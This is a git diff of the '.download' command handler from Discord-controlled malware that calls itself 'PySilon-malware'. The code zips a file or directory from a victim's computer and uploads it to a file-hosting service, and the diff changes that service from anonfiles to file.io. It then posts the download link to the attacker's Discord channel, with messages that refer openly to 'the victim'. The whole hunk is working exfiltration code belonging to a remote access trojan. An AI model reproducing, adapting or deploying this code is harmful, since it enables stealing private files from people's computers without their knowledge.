|
13 | 13 | if message.content == '.download': |
14 | 14 | #.log Author issued empty ".download" command |
15 | 15 | embed = discord.Embed(title="📛 Error",description=f'```Syntax: .download <file-or-directory>```', colour=discord.Colour.red()) |
16 | | - embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png") |
| 16 | + embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png") |
17 | 17 | reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴') |
18 | 18 | #.log Sent embed about usage of ".download" |
19 | 19 | else: |
|
34 | 34 | message.channel.send(e) |
35 | 35 | #.log Sent message with information about this error. Aborting operation |
36 | 36 | pass |
37 | | - embed = discord.Embed(title="🟢 Success",description=f'```Uploading to anonfiles.. this can take a while depending on the file size, amount and the victim\'s internet speed..```', colour=discord.Colour.green()) |
38 | | - embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png") |
39 | | - await message.channel.send(embed=embed) |
40 | | - #.log Sent message about Anonfiles upload |
41 | | - files = { |
42 | | - 'file': (f'{message.content[10:]}.zip', open(f'{target_file}', 'rb')), |
| 37 | + await message.channel.send("```Uploading to file.io... This can take a while depending on the file size, amount and the victim's internet speed..```") |
| 38 | + #.log Sent message about File.io upload |
| 39 | + data = { |
| 40 | + 'file': open(target_file, 'rb') |
43 | 41 | } |
44 | | - url = 'https://api.anonfiles.com/upload' |
45 | | - #.log Set up required things for Anonfiles upload |
46 | | - response = requests.post(url, files=files) |
47 | | - #.log Uploaded the file onto Anonfiles |
| 42 | + url = 'https://file.io/' |
| 43 | + #.log Set up required things for File.io upload |
| 44 | + response = requests.post(url, files=data) |
| 45 | + #.log Uploaded the file onto File.io |
48 | 46 | data = response.json() |
49 | | - #.log Received response from Anonfiles |
50 | | - await message.channel.send(f"```{message.content[10:]}.zip:``` {data['data']['file']['url']['short']}") |
51 | | - #.log Sent Anonfiles link to uploaded file |
| 47 | + #.log Received response from File.io |
| 48 | + embed = discord.Embed(title=f"🟢 {message.content[10:]}",description=f"Click [here](<{data['link']}>) to download.", colour=discord.Colour.green()) |
| 49 | + embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png") |
| 50 | + await message.channel.send(embed=embed) |
| 51 | + #.log Sent Anonfiles link to uploaded file |
| 52 | + await message.channel.send('Warning: The file will be removed from file.io right after the first download.') |
52 | 53 | else: |
53 | 54 | #.log File requested by Author does not exist on this PC |
54 | 55 | embed = discord.Embed(title="📛 Error",description=f'```❗ File or directory not found.```', colour=discord.Colour.red()) |
55 | | - embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png") |
| 56 | + embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png") |
56 | 57 | reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴') |
57 | 58 | #.log Sent embed about missing file |
58 | 59 | else: |
59 | 60 | #.log Message is not sent on file-related channel |
60 | 61 | embed = discord.Embed(title="📛 Error",description=f'_ _\n❗`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>❗\n||-||', colour=discord.Colour.red()) |
61 | | - embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png") |
| 62 | + embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png") |
62 | 63 | reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴') |
63 | 64 | #.log Sent embed about wrong channel |
0 commit comments